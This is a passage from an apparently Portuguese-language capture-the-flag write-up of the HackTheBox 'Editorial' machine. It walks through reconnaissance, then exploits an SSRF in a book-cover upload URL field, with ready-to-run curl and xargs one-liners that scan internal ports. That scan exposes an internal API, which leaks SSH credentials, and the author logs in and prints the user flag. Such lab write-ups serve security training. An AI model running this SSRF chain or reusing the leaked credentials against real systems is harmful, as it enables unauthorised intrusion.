Editorial
#easy #HackTheBox #Linux #OSCP #eWPT #BSCP
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping
. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# ping -c 1 10.10.11.20
PING 10.10.11.20 (10.10.11.20) 56(84) bytes of data.
64 bytes from 10.10.11.20: icmp_seq=1 ttl=63 time=46.7 ms
--- 10.10.11.20 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 46.707/46.707/46.707/0.000 ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta nmap
para verificar todas as portas (1-65535) do alvo e garantir que nenhum serviço passasse despercebido. Além disso, habilitamos a detecção de versões de serviços e scripts para ter mais informações detalhadas.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# nmap 10.10.11.20 -sSCV -p- --min-rate=5000 -vv -n -Pn -oN tcp-scan.txt -oX tcp-scan.xml
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM=
| 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-sSCV
: Realiza a descoberta de portas com SYN Scan, e em seguida escaneia as portas abertas, detectando versões de serviços e usando scripts do nmap.-p-
: Escaneia todas as portas possíveis (1-65535).--min-rate=5000
: Define uma taxa mínima de pacotes para acelerar a varredura.-vv
: Mostra mais detalhes durante o processo de varredura.-n
: Desabilita a resolução de DNS para acelerar o processo.-Pn
: Não realiza o ping, útil em casos de firewalls ou filtros ICMP.-oN
e-oX
: Salvam os resultados em arquivos de texto e XML, respectivamente, para posterior análise.
A saída da varredura identificou duas portas abertas:
22/tcp: OpenSSH 8.9p1, usado para conexões SSH.
80/tcp: nginx 1.18.0, serviço HTTP.
Exploração HTTP
Ao investigar a porta 80, notamos que o site responde com o domínio editorial.htb. Esse domínio não é automaticamente resolvido pelo sistema, então é necessário adicionar manualmente o mapeamento no arquivo /etc/hosts para permitir que possamos acessá-lo corretamente.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# tail -n1 /etc/hosts
10.10.11.20 editorial.htb
Após isso, podemos testar a comunicação com o domínio:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# ping -c 1 editorial.htb
PING editorial.htb (10.10.11.20) 56(84) bytes of data.
64 bytes from editorial.htb (10.10.11.20): icmp_seq=1 ttl=63 time=39.3 ms
--- editorial.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 39.347/39.347/39.347/0.000 ms
Agora, estamos prontos para interagir com o site.
O próximo passo é entender mais sobre o site rodando no servidor web. Utilizamos a ferramenta httpx
para extrair informações sobre o servidor HTTP, como o status do servidor, tipos de conteúdo, e tecnologias utilizadas.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# /root/go/bin/httpx -u http://editorial.htb -silent -sc -cl -ct -rt -title -td -server -location
http://editorial.htb [200] [] [8577] [text/html] [Editorial Tiempo Arriba] [nginx/1.18.0 (Ubuntu)] [90.925003ms] [Bootstrap,Nginx:1.18.0,Ubuntu]
A saída mostra:
Status 200, o que indica que a página está acessível.
O título da página é Editorial Tiempo Arriba.
O servidor está rodando nginx 1.18.0 no Ubuntu.
Acessando o site no navegador, a página inicial sugere que é o site de uma loja editorial de livros. Nesse momento, temos uma visão geral da funcionalidade básica do site.

Para garantir que não estamos perdendo páginas ocultas ou recursos não documentados, usamos a ferramenta gospider para varrer o site em busca de links, formulários e outras possíveis páginas de interesse.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# gospider -s http://editorial.htb/ -d 3
[url] - [code-200] - http://editorial.htb/
[url] - [code-200] - http://editorial.htb/about
[url] - [code-200] - http://editorial.htb/upload
[form] - http://editorial.htb/upload
[upload-form] - http://editorial.htb/upload
A enumeração revelou alguns recursos importantes:
/upload
: Uma página de envio de arquivos, que pode ser explorada para uploads maliciosos./about
: Uma página com informações sobre o site, incluindo um e-mail de contato (submissions@tiempoarriba.htb).Detalhes de livros e autores, que podem ser úteis para a criação de dicionários de ataque se necessário.
Esses recursos são essenciais para planejar a próxima etapa da exploração, especialmente o ponto de upload de arquivos, que pode permitir uma superfície de ataque caso nós como usuários tivermos controle sob o que pode ser enviado.
Exploração do Upload de Arquivos
Geralmente, funcionalidades de upload podem ser exploradas para comprometer um servidor, dependendo de como o upload é tratado e quais restrições existem para o tipo de arquivos aceitos. Decidi explorar essa funcionalidade para entender se haveria uma maneira de usá-la como vetor de ataque.
Primeiro Teste: Upload e Imagem
Para começar, eu realizei um teste básico com um arquivo de imagem legítimo, verificando como o sistema processa uploads normais. Baixei uma imagem qualquer para isso:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# wget https://cdn.smartfacts.ru/385117/mister-robot_3.jpg
mister-robot_3.jpg 100%[============================================>] 72.44K --.-KB/s in 0.09s
A partir deste ponto, abri o Burp Suite para monitorar e capturar todas as requisições relacionadas ao upload, a fim de observar o comportamento da aplicação.

Comportamento da Aplicação
A página de upload permite ao usuário fazer o upload de uma imagem diretamente de seu sistema ou fornecer uma URL para que o servidor faça o download da imagem. Aqui, temos dois possíveis caminhos para manipulação:
Upload de arquivo local: Enviar um arquivo malicioso a partir do meu sistema.
Upload via URL: Enviar uma URL que aponte para um servidor controlado por mim, permitindo monitorar as interações.
Decidi começar com o segundo caminho, fornecendo uma URL controlada para verificar se a aplicação buscaria a imagem diretamente do meu servidor. Para isso, iniciei um servidor HTTP simples na minha máquina de ataque, usando Netcat:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# nc -nlvp 80
listening on [any] 80 ...
Ao fornecer a URL do meu servidor na página de upload e clicar em "Preview", observei que a aplicação realmente faz uma requisição para baixar a imagem diretamente do meu servidor.

Aqui está o tráfego capturado com Netcat:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# nc -nlvp 80
listening on [any] 80 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.20] 57824
GET /mister-robot_3.jpg HTTP/1.1
Host: 10.10.14.4
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Aqui podemos observar que o alvo fez um GET request para minha máquina, confirmando que o servidor está buscando arquivos de URLs externas.
Entendendo a Requisição
No Burp Suite, pude analisar mais detalhadamente o comportamento da aplicação. A requisição ao servidor é enviada para o endpoint /upload-cover
, como mostrado abaixo:
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 322
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"
http://10.10.14.4/mister-robot_3.jpg
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryiOx64j3IqqiG0GGa--

A imagem foi carregada no servidor, e a resposta indica que o arquivo foi armazenado em um caminho específico. O servidor retorna um identificador gerado aleatoriamente, o qual pode ser acessado no seguinte diretório:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 51
static/uploads/b58eacb7-8ce2-4f35-ae82-eb6b66fb3e8b
Agora, podemos acessar a imagem através da URL http://editorial.htb/static/uploads/b58eacb7-8ce2-4f35-ae82-eb6b66fb3e8b
.

Além disso, analisando a resposta da uma página "Not Found" que é rotornada, percebi que a aplicação parece ser baseada no framework Flask. Isso pode ser útil em futuras explorações, uma vez que o Flask tem comportamentos previsíveis e vulnerabilidades bem documentadas.
A resposta é típica de Flask, o que reforça a suposição:

Explorando Vulnerabilidade SSRF
Observei que, ao alterar a URL de upload para localhost
, a aplicação demorou consideravelmente para responder, indicando que uma tentativa de resolução da URL ocorreu. Em contraste, URLs não existentes (como "haxor") retornaram instantaneamente, sugerindo que não houve resolução. Isso sugere que a aplicação pode estar vulnerável a SSRF.
O teste com localhost foi realizado da seguinte forma:
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 302
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"
http://localhost
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryiOx64j3IqqiG0GGa--
O status da resposta foi 200 OK
, e a aplicação demorou cerca de 20 segundos para responder. Isso indica que a aplicação tentou resolver a URL e possivelmente se conectou ao serviço em localhost
.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 61
/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg

Já, ao colocar URLs não existentes como "http://haxor", a resposta continua a ser um 200 OK, porém não houve demora na resposta.

Teste com Portas
Similarmente, ao testar portas:
Porta 80:
Requisição:
http://localhost:80
Demora: ~20 segundos
Porta 1:
Requisição:
http://localhost:1
Demora: ~48 milissegundos (resposta rápida)
Isso reforça a hipótese de que a aplicação está vulnerável a SSRF, já que a demora sugere uma conexão tentada.
Enumeração de Portas via SSRF
Agora, podemos explorar a possibilidade de um port discovery via SSRF. O objetivo é verificar quais portas estão abertas, utilizando o tempo e o conteúdo da resposta como indicativo.
O comando curl
será utilizado com a opção -w
para medir o tempo de resposta:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# curl -s https://google.com -o /dev/null -w "%{time_total}s"
0.188370s
-o /dev/null
: descarta o conteúdo da resposta, para que ele não apareça no terminal.-s
: modo silencioso, para suprimir as mensagens de progresso.-w
: personaliza a saída, mostrando o tempo total da requisição usando otime_total
.
Utilizaremos o xargs
para fazer uma requisição em paralelo a múltiplas portas e registrar o tempo de resposta. A ideia é criar um oneliner que faça requisições em massa.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# seq 1 3 | xargs -P100 -I@ curl -s https:/localhost:@ -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n'
[+] PORT 2 LENGTH: 0 TIME: 0.000550s
[+] PORT 1 LENGTH: 0 TIME: 0.000211s
[+] PORT 3 LENGTH: 0 TIME: 0.000167s
P100
: Realiza até 100 requisições em paralelo.I@
: Substitui@
pelo número da porta na URL.
Os resultados devem ser armazenados em um arquivo ou visualizados no terminal, permitindo que você identifique rapidamente quais portas apresentaram uma resposta lenta. As portas que demoram mais para responder são as que potencialmente estão abertas no serviço alvo.
O primeiro passo foi copiar uma requisição HTTP do burp
para ser utilizada com curl
(selecionar “Copy as curl command (bash)”). A ideia é adaptar o comando para incluir o tempo da requisição, o que facilita a análise das portas.
Usamos a flag -w
para exibir o tempo total de resposta (%{time_total}
), e capturamos o comprimento da resposta (%{size_download}
), o que nos permite observar diferenças de comportamento nas respostas.
Porta 1: a requisição foi rápida (0.094s) e retornou uma resposta com tamanho pequeno, indicando que não há nada significativo rodando nessa porta além da imagem padrão da aplicação:
┌──(root㉿attacker)-[/home/kali/CTF] └─# curl --path-as-is -s -k -X $'POST' \ -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \ --data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:1\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \ $'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n' [+] PORT @ LENGTH: 78 TIME: 0.094823s
Porta 80: como já haviamos visto com
burp
, a requisição demorou consideravelmente mais (~20 segundos), sugerindo que algo significativo pode estar rodando nessa porta. Este comportamento diferente é um indicativo para focarmos mais nela:┌──(root㉿attacker)-[/home/kali/CTF] └─# curl --path-as-is -s -k -X $'POST' \ -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \ --data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:80\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \ $'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n' [+] PORT @ LENGTH: 78 TIME: 20.112699s
Para agilizar o processo, paralelizamos a execução dos comandos usando o xargs
para testar várias portas simultaneamente. Aqui, testamos as portas 79, 80 e 81. Como esperado, a porta 80 teve um tempo de resposta muito maior (~20s) em relação às outras, demonstrando que nosso oneliner funciona como esperávamos, trazendo a porta escaneada, o tamanho de resposta, e quanto tempo tardou em responder:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# seq 79 81 | xargs -P100 -I@ curl --path-as-is -s -k -X $'POST' \
-H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
--data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:@\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \
$'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n'
[+] PORT 79 LENGTH: 78 TIME: 0.090751s
[+] PORT 81 LENGTH: 78 TIME: 0.097482s
[+] PORT 80 LENGTH: 78 TIME: 20.351690s
Limitando a busca a portas específicas
Embora seja possível tentar escanear todas as 65.535 portas disponíveis, isso seria ineficiente e poderia sobrecarregar o servidor alvo. Como alternativa, optamos por limitar a busca às top 100 portas mais comuns que o Nmap escanearia em uma análise padrão de portas TCP.
A ideia aqui é que temos um total de 65.535 portas, mas realizar uma varredura em todas elas não é viável para esse contexto. Isso não apenas poderia resultar em um grande número de requisições e, consequentemente, sobrecarregar o servidor alvo, como também aumentaria o risco de um bloqueio devido ao volume de acessos. Além disso, isso poderia consumir tempo desnecessário, sem garantir que resultados relevantes sejam encontrados rapidamente.
Portanto, precisamos ser estratégicos na escolha das portas a serem escaneadas. Existem várias maneiras de limitar essa busca:
Escanear as portas mais frequentemente utilizadas por serviços específicos (como portas para serviços web: 80, 443, 8080, 8443, entre outras).
Buscar apenas portas associadas a determinados serviços, como aquelas mais comuns em servidores Ubuntu ou em aplicações Python/Flask, tecnologias que identificamos no alvo.
Usar uma lista pré-definida das portas mais escaneadas por ferramentas como o Nmap.
Nesse caso, decidi optar pelas top 100 portas TCP que o Nmap usa por padrão em um de seus modos de escaneamento. Essa abordagem permite focar em portas que são amplamente conhecidas por hospedar serviços comuns, maximizando as chances de sucesso sem sobrecarregar o alvo.
Gerando uma lista das top 100 portas
Para gerar essa lista, eu utilizei o Nmap para escanear as top 100 portas no localhost da minha máquina e salvei o resultado em um arquivo, para facilitar o processamento e reutilização posterior.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# nmap localhost --top-ports 100 -v -oG top100.ports
O arquivo de saída, top100.ports
, contém as portas escaneadas:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports
# Nmap 7.94SVN scan initiated Sun Oct 20 12:44:19 2024 as: /usr/lib/nmap/nmap --top-ports 100 -v -oG top100.ports localhost
# Ports scanned: TCP(100;7,9,13,21-23,25-26,37,53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,543-544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900,2000-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,5357,5432,5631,5666,5800,5900,6000-6001,6646,7070,8000,8008-8009,8080-8081,8443,8888,9100,9999-10000,32768,49152-49157) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 127.0.0.1 (localhost) Status: Up
Host: 127.0.0.1 (localhost) Ports: 8080/open/tcp//http-proxy/// Ignored State: closed (99)
# Nmap done at Sun Oct 20 12:44:19 2024 -- 1 IP address (1 host up) scanned in 0.11 seconds
Com isso, o próximo passo foi extrair as portas em formato utilizável. Algumas delas estavam em intervalos (ex: 21-23
), então precisei expandir esses intervalos.
Para extrair os intervalos e convertê-los em uma lista de portas individuais, usei um comando para buscar os intervalos presentes no arquivo e expandi-los com a ajuda de seq
. Esse comando gera as portas em sequência e as salva no arquivo ports.txt
:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports | grep -oP "TCP\(.*?\)" | grep -oP "\d{1,5}-\d{1,5}"
21-23
25-26
79-81
110-111
143-144
443-445
513-515
543-544
1025-1029
2000-2001
6000-6001
8008-8009
8080-8081
9999-10000
49152-49157
Após executar o comando, o conteúdo do arquivo ports.txt
ficou assim:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports | grep -oP "TCP\(.*?\)" | grep -oP "\d{1,5}-\d{1,5}" | xargs -I@ sh -c 'seq $(echo "@" | tr "-" " ")' | tee ports.txt
21
22
23
25
26
79
80
81
110
111
143
144
443
444
445
513
514
515
543
544
1025
1026
1027
1028
1029
2000
2001
6000
6001
8008
8009
8080
8081
9999
10000
49152
49153
49154
49155
49156
49157
Ainda faltavam algumas portas listadas individualmente no arquivo do Nmap. Para resolver isso, utilizei um segundo comando para capturar essas portas isoladas e adicioná-las ao arquivo ports.txt
:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat top100.ports | grep -oP "TCP\(.*?\)" | tr ',' '\n' | grep -oP "^\d{1,5}$" | tee -a ports.txt
9
13
37
53
88
106
113
119
135
139
179
199
389
427
465
548
554
587
631
646
873
990
993
995
1110
1433
1720
1723
1755
1900
2049
2121
2717
3000
3128
3306
3389
3986
4899
5000
5009
5051
5060
5101
5190
5357
5432
5631
5666
5800
5900
6646
7070
8000
8443
8888
9100
32768
Agora, ports.txt
contém as 99 portas mais comuns que o Nmap utilizaria em um escaneamento básico:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat ports.txt | wc -l
99
Execução do Port Scan
Finalmente executamos nosso oneliner. O objetivo é observar o tempo de resposta e o tamanho da resposta retornada. Essas informações podem indicar se a porta está aberta ou se há algo relevante rodando nessa porta.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# xargs -a ports.txt -P100 -I@ curl --path-as-is -s -k -X $'POST' \
-H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'Accept-Language: en-US,en;q=0.9' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
--data-binary $'------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://localhost:@\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryiOx64j3IqqiG0GGa--\x0d\x0a' \
$'http://editorial.htb/upload-cover' -o /dev/null -w '[+] PORT @\tLENGTH: %{size_download}\tTIME: %{time_total}s\n' | tee -a SSRFports.txt
[+] PORT 22 LENGTH: 78 TIME: 0.125069s
[+] PORT 21 LENGTH: 78 TIME: 0.127881s
[+] PORT 26 LENGTH: 78 TIME: 0.185306s
[+] PORT 143 LENGTH: 78 TIME: 0.149119s
[+] PORT 81 LENGTH: 78 TIME: 0.163559s
[+] PORT 110 LENGTH: 78 TIME: 0.166407s
[+] PORT 79 LENGTH: 78 TIME: 0.186978s
[+] PORT 443 LENGTH: 78 TIME: 0.151489s
...<SNIP>...
[+] PORT 32768 LENGTH: 167 TIME: 0.211919s
[+] PORT 5900 LENGTH: 78 TIME: 0.253789s
[+] PORT 80 LENGTH: 78 TIME: 20.221370s
[+] PORT 9 LENGTH: 0 TIME: 60.159143s
Filtragem de resultados
Primeiro, agrupamos os resultados com base no tempo de resposta:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat SSRFports.txt | awk '{print $7}' | cut -d '.' -f 1 | uniq -c
1
97 0
1 20
1 60
O resultado indica que a maioria das portas responde em menos de 1 segundo, com exceção de duas (porta 80, como já sabíamos, e porta 9):
┌──(root㉿attacker)-[/home/kali/CTF]
└─# grep -E "TIME: (20|60)" SSRFports.txt
[+] PORT 80 LENGTH: 78 TIME: 20.221370s
[+] PORT 9 LENGTH: 0 TIME: 60.159143s
Em seguida, analisamos o tamanho da resposta:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat SSRFports.txt | awk '{print $5}' | sort | uniq -c
1
1 0
8 167
1 71
89 78
O resultado revela algumas respostas diferentes:
167 bytes: Em oito portas.
71 bytes: Em uma porta.
0 bytes: Em uma porta (indicando uma resposta vazia).
┌──(root㉿attacker)-[/home/kali/CTF]
└─# grep -E "LENGTH: (0|167|71)" SSRFports.txt
[+] PORT 49154 LENGTH: 167 TIME: 0.170387s
[+] PORT 49153 LENGTH: 167 TIME: 0.211133s
[+] PORT 49157 LENGTH: 167 TIME: 0.141848s
[+] PORT 49152 LENGTH: 167 TIME: 0.210147s
[+] PORT 10000 LENGTH: 167 TIME: 0.226688s
[+] PORT 49156 LENGTH: 167 TIME: 0.183551s
[+] PORT 49155 LENGTH: 167 TIME: 0.209484s
[+] PORT 5000 LENGTH: 71 TIME: 0.139608s
[+] PORT 32768 LENGTH: 167 TIME: 0.211919s
[+] PORT 9 LENGTH: 0 TIME: 60.159143s
Observação com Burp Suite
Após identificar essas portas, passei a analisá-las usando o Burp Suite para confirmar se havia respostas válidas ou apenas falsos positivos. A porta 5000 chamou atenção ao retornar uma resposta diferente das demais. Ao tentar acessá-la, percebi que havia um comportamento semelhante a da rota de upload de arquivos.
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 307
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"
http://localhost:5000
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryiOx64j3IqqiG0GGa--
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 51
static/uploads/5d9ef4c0-7c0a-4d99-a83a-ff4e4af7f487
O corpo da resposta indicava o caminho para um arquivo específico. Ao fazer o download desse arquivo, descobri que se tratava do output de uma API que fornecia algumas rotas úteis para futuras explorações.
Enumerando as rotas da API
O conteúdo obtido ao acessar o arquivo da porta 5000 apresentou várias rotas da API:

Filtrando o conteúdo do arquivo com o comando jq
, extraí todas as rotas disponíveis:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# jq '.. | .endpoint? // empty' /home/kali/Downloads/c4a75452-2844-4a5b-b212-0a51a552458f | tr -d '"' | tee routes.txt
/api/latest/metadata/messages/promos
/api/latest/metadata/messages/coupons
/api/latest/metadata/messages/authors
/api/latest/metadata/messages/how_to_use_platform
/api/latest/metadata/changelog
/api/latest/metadata
Das rotas extraídas, o endpoint /authors
revelou-se particularmente interessante. Ao acessá-lo, obtive um arquivo JSON que continha uma credencial de acesso.
Requisição no Burp:
...<SNIP>...
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"
http://localhost:5000/api/latest/metadata/messages/authors
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryiOx64j3IqqiG0GGa--
Conteúdo do arquivo gerado:
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat /home/kali/Downloads/6501b91b-5b07-4e91-8d06-a9abc37fa34c | jq | tee authors.json
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
Identifiquei as seguintes credenciais:
Username:
dev
Password:
dev080217_devAPI!@
Acesso ao Alvo via SSH
Sabendo que a porta 22 (SSH) estava aberta no alvo, utilizei essas credenciais para tentar acesso via SSH e, para minha surpresa, funcionaram perfeitamente.
┌──(root㉿attacker)-[/home/kali/CTF]
└─# ssh dev@editorial.htb
dev@editorial.htb's password:
dev@editorial:~$ hostname -I
10.10.11.20
Com o acesso garantido ao sistema como usuário dev
, consegui finalmente capturar a user flag:
dev@editorial:~$ cat user.txt
a8b6ef2bb669065c9423a721df5e3e10
Movimentação Lateral - Dumping Git Secrets
